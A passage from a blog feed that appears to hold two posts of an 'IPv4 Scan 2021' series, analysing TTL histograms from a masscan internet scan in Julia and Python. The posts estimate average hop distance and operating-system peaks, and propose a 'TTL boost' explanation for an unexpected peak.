&lt;p&gt;&lt;label for='ClRoZSAqMTUqIGNvbWVzIGZyb20gb3VyIGVzdGltYXRpb24gb2YgdGhlICphdmVyYWdlIGRpc3RhbmNlIGluIGhvcCBjb3VudHMqCm1hZGUgaW4gdGhlIFtIb3AtRGlzdGFuY2UgYW5kIENsdXN0ZXJzIHBvc3RdKC9hcnRpY2xlcy8yMDIxLzExLzEzL0lQdjQtU2Nhbi1QYXJ0LUlWLUhvcC1EaXN0YW5jZS1hbmQtQ2x1c3RlcnMuaHRtbCkKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSAqMTUqIGNvbWVzIGZyb20gb3VyIGVzdGltYXRpb24gb2YgdGhlICphdmVyYWdlIGRpc3RhbmNlIGluIGhvcCBjb3VudHMqCm1hZGUgaW4gdGhlIFtIb3AtRGlzdGFuY2UgYW5kIENsdXN0ZXJzIHBvc3RdKC9hcnRpY2xlcy8yMDIxLzExLzEzL0lQdjQtU2Nhbi1QYXJ0LUlWLUhvcC1EaXN0YW5jZS1hbmQtQ2x1c3RlcnMuaHRtbCkKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The &lt;em&gt;15&lt;/em&gt; comes from our estimation of the &lt;em&gt;average distance in hop counts&lt;/em&gt; made in the &lt;a href="/articles/2021/11/13/IPv4-Scan-Part-IV-Hop-Distance-and-Clusters.html"&gt;Hop-Distance and Clusters post&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We know that the scanner will receive the packets from it with an expected TTL of \(128-15=113\). This of course will depend of how far is the host but it is expected to be at a distance of 15 hops.&lt;/p&gt;
&lt;p&gt;So, we have two scenarios for this Windows host:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;m=113,  M=304       (ttl=128, hops=15)
m=-78,  M=113&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And none of those makes sense…&lt;/p&gt;
&lt;h3 id="revising-the-assumptions"&gt;Revising the assumptions&lt;/h3&gt;
&lt;p&gt;To have a difference of 191, or we need \(M=304\) or we need \(m=-78\) that it is impossible: TTL must be between 0 and 255!&lt;/p&gt;
&lt;p&gt;Let’s review the assumptions so far:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the host is a Windows with a default TTL of 128&lt;/li&gt;
&lt;li&gt;the are 15 hops between the host and the scanner&lt;/li&gt;
&lt;li&gt;the hops between the host and the scanner always decrement the TTL by 1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We could explain those numbers assuming that the hosts that contributed to form the peak at 191 are not Windows, or their default TTL are not 128.&lt;/p&gt;
&lt;p&gt;A TTL of 64, with a distance of 15 hops, yields&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;m=49,    M=240       (ttl=64, hops=15)
m=-142,  M=49&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We could also explain the peak if the hops between the hosts and the scanner is larger than 15.&lt;/p&gt;
&lt;p&gt;For example, Windows hosts at a 64 hops yields:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;m=63,    M=254       (ttl=128, hops=64)
m=-128,  M=63&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, the only way to explain the peak at 191 without falling in the cases \(M=304\) or \(m=-78\) is that the peak at 191 is formed by non-Windows hosts &lt;em&gt;and/or&lt;/em&gt; really far Windows hosts.&lt;/p&gt;
&lt;p&gt;But if that it is true, it is also true that are &lt;strong&gt;more hosts that can contribute&lt;/strong&gt; to the first two secondary peaks at 63 and 127.&lt;/p&gt;
&lt;p&gt;In other words, it is more likely to have a random host to fall in one of those two peaks (63 and 127); it is more &lt;strong&gt;unlikely&lt;/strong&gt; to fall in the third one because –and this is also another assumption– it is more &lt;strong&gt;unlikely&lt;/strong&gt; to pick a non-Windows host and/or a far Windows host.&lt;/p&gt;
&lt;p&gt;Perhaps it is a wild idea but the fact that the peak at 191 is the &lt;strong&gt;same height and shape&lt;/strong&gt; that the peaks at 63 and 127 is just weird.&lt;/p&gt;
&lt;p&gt;We would be expecting the third peak at 191 to be &lt;strong&gt;smaller&lt;/strong&gt; (less hosts matching the conditions). Right?&lt;/p&gt;
&lt;p&gt;What if we drop our third assumption: the hops decrement the TTL by 1?&lt;/p&gt;
&lt;p&gt;Could be possible that some hops instead of decrementing the TTL, increment it, like a TTL boost?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Perhaps.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="ttl-boost"&gt;TTL boost&lt;/h2&gt;
&lt;p&gt;Let’s assume that in some cases the packets coming from a host pass through a hop that does not decrement the TTL but &lt;strong&gt;resets it&lt;/strong&gt; to 255.&lt;/p&gt;
&lt;p&gt;Some kind of TTL boost.&lt;/p&gt;
&lt;p&gt;Let’s see what would we see if a reset or a boost happen. What would be the observed range by us?&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;default_ttls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;expected_hops&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ttl&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;default_ttls&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Default TTL=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; =&amp;gt; m=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;expected_hops&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, M=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;expected_hops&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; =&amp;gt; Range=M-m=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Default&lt;/span&gt; &lt;span class="n"&gt;TTL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;240&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Range&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;191&lt;/span&gt;
&lt;span class="n"&gt;Default&lt;/span&gt; &lt;span class="n"&gt;TTL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;113&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;240&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Range&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;127&lt;/span&gt;
&lt;span class="n"&gt;Default&lt;/span&gt; &lt;span class="n"&gt;TTL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;240&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;240&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Range&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That’s interesting! We would get peaks at 127 and 191 as we saw earlier.&lt;/p&gt;
&lt;h2 id="further-research"&gt;Further research&lt;/h2&gt;
&lt;p&gt;The histogram shows more features that could be explained with the &lt;em&gt;boost&lt;/em&gt; theory but it is required to have a more precise model about the internet.&lt;/p&gt;
&lt;p&gt;Saying that there are 15 hops between any two machines is a too simplistic model.&lt;/p&gt;
&lt;p&gt;Also, what have in common these hosts that gained a boost in their TTLs? May be there is a geographic reason. Again, we need a richer model to explore this.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/11/13/IPv4-Scan-Part-V-TTL-Boost.html" rel="alternate" type="text/html" title="IPv4 Scan 2021 - TTL Boost (or reset)"/>
    <category term="pandas" label="pandas"/>
    <category term="julia" label="julia"/>
    <category term="statistics" label="statistics"/>
    <category term="seaborn" label="seaborn"/>
    <published>2021-11-13T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/11/13/IPv4-Scan-Part-IV-Hop-Distance-and-IP-Distribution.html</id>
    <title>IPv4 Scan 2021 - Hop-Distance Average and IP Distribution</title>
    <updated>2021-11-13T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;In the &lt;a href="/articles/2021/09/19/IPv4-Scan-Part-II-Multiprobes-Analysis.html"&gt;Multiprobes Analysis&lt;/a&gt;, we explored the statistics of the hosts and the communication to them.&lt;/p&gt;
&lt;p&gt;This is a follow up to keep exploring the data:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;which is the average distance between a host and the scanner in term of hop count?&lt;/li&gt;
&lt;li&gt;which OS are running?&lt;/li&gt;
&lt;li&gt;how are the hosts distributed? &lt;!--more--&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="setup"&gt;Setup&lt;/h2&gt;
&lt;p&gt;Following the &lt;a href="/articles/2021/10/16/IPv4-Scan-Part-III-Hop-stability.html"&gt;terms defined in Hop-Stability post&lt;/a&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;masscan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; sends multiple probes to the same host at the same time: we call these &lt;em&gt;short bursts&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;masscan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; may also scan the same host multiple times, at different moments: we call these &lt;em&gt;rounds of short bursts&lt;/em&gt; or just &lt;em&gt;rounds&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;As we saw &lt;a href="/articles/2021/10/16/IPv4-Scan-Part-III-Hop-stability.html"&gt;earlier&lt;/a&gt;, for a given host the &lt;em&gt;time to live&lt;/em&gt; (TTL) read from every probe/packet remains constant within a short burst and relatively constant between rounds.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all_rounds_g&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The TTL changes between rounds only by 1 or 2; changes of 8 or greater happen only in a very small fraction of the dataset, around 0.39998%.&lt;/p&gt;
&lt;p&gt;For this reason we are going to work with the &lt;em&gt;mode&lt;/em&gt;: the most common TTL value per host.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all_rounds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;all_rounds_g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ttl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ttl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="histogram"&gt;Histogram&lt;/h2&gt;
&lt;p&gt;Now we plot the histogram of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;all_rounds&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Histogram of TTL observed: the peaks indicate the different operative systems and their relative position respect the expected positions estimate the mean distance between the hosts and the scanner in hop count.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 100%;" class='' align='middle' data='/img/network/internet_scan/ttl_hist_log_scale.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;There are three really high peaks with \(~10^6\) count with one secondary peak at the left of each main peaks.&lt;/p&gt;
&lt;p&gt;In the &lt;em&gt;x-axis&lt;/em&gt; are marked the typical TTLs values that the operative systems set by default. For some operative systems this may different depending of the version of the OS and the protocol of the packet.&lt;/p&gt;
&lt;p&gt;We cannot do anything about the version of the OS but we can ignore the protocol because all the probes sent were TCP.&lt;/p&gt;
&lt;p&gt;Notice however that the peaks are &lt;strong&gt;left-shifted&lt;/strong&gt; from the expected default TTLs.&lt;/p&gt;
&lt;p&gt;This is because the packets received had travelled through the network and in each hop the TTL is decremented by one.&lt;/p&gt;
&lt;h2 id="peak-estimation"&gt;Peak estimation&lt;/h2&gt;
&lt;p&gt;First we compute the histogram. We cannot plug in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ttl&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; directly because its type is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;Vector&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Union&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Missing&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Histogram&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does not work with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;Missing&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; values, even if there are no missing there.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;convert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Vector&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ttl&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hist&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Histogram&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nbins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now we find where the local maxima ares. We use a window of 40, quite large, to filter out the secondary peaks.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;strict&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is crucial because while scanning, if the search window gets slightly out of the range, no peak is detected. So peaks near the ends, like the around 235, wouldn’t be detected.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argmaxima&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hist&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;weights&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strict&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;element&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Vector&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;239&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="hop-distance-average"&gt;Hop-distance average&lt;/h2&gt;
&lt;p&gt;&lt;label for='CjMwLCAzMiwgNjAsIDY0LCAxMjgsIDIwMCwgMjU0IGFuZCAyNTUgYXJlIHRoZSBtb3N0IGNvbW1vbiBkZWZhdWx0IFRUTHM7CnRoZSA2NCwgMTI4IGFuZCAyNTQgY29ycmVzcG9uZCByb3VnaGx5IHRvIFVuaXgsIFdpbmRvd3MgYW5kIFNvbGFyaXMvQUlYLgoKUmVmZXJlbmNlOiBbU3ViaW4mYXBvcztzIERlZmF1bHQgVFRMc10oaHR0cHM6Ly9zdWJpbnNiLmNvbS9kZWZhdWx0LWRldmljZS10dGwtdmFsdWVzLykKIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CjMwLCAzMiwgNjAsIDY0LCAxMjgsIDIwMCwgMjU0IGFuZCAyNTUgYXJlIHRoZSBtb3N0IGNvbW1vbiBkZWZhdWx0IFRUTHM7CnRoZSA2NCwgMTI4IGFuZCAyNTQgY29ycmVzcG9uZCByb3VnaGx5IHRvIFVuaXgsIFdpbmRvd3MgYW5kIFNvbGFyaXMvQUlYLgoKUmVmZXJlbmNlOiBbU3ViaW4mYXBvcztzIERlZmF1bHQgVFRMc10oaHR0cHM6Ly9zdWJpbnNiLmNvbS9kZWZhdWx0LWRldmljZS10dGwtdmFsdWVzLykKIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
30, 32, 60, 64, 128, 200, 254 and 255 are the most common default TTLs; the 64, 128 and 254 correspond roughly to Unix, Windows and Solaris/AIX.
&lt;br /&gt;&lt;br /&gt;
Reference: &lt;a href="https://subinsb.com/default-device-ttl-values/"&gt;Subin's Default TTLs&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Comparing these with the expected default TTLs we can know by how much the histogram was left-shifted:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;254&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;239&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;element&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Vector&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So the scanner is at 15 - 16 hops of distance, on average, from any other host in the network.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Histogram of TTL observed but with the values shifted to the right to compensate the fact that the TTLs are decremented during their travel through the network.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 100%;" class='' align='middle' data='/img/network/internet_scan/ttl_hist_log_scale_shifted.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="ip-distribution"&gt;IP distribution&lt;/h2&gt;
&lt;p&gt;We can get an idea of how the hosts scanned are distributed in the IP space.&lt;/p&gt;
&lt;p&gt;Sorted by IP address, we can compute the first order difference (aka &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: hosts in the same subnetwork will have very small differences.&lt;/p&gt;
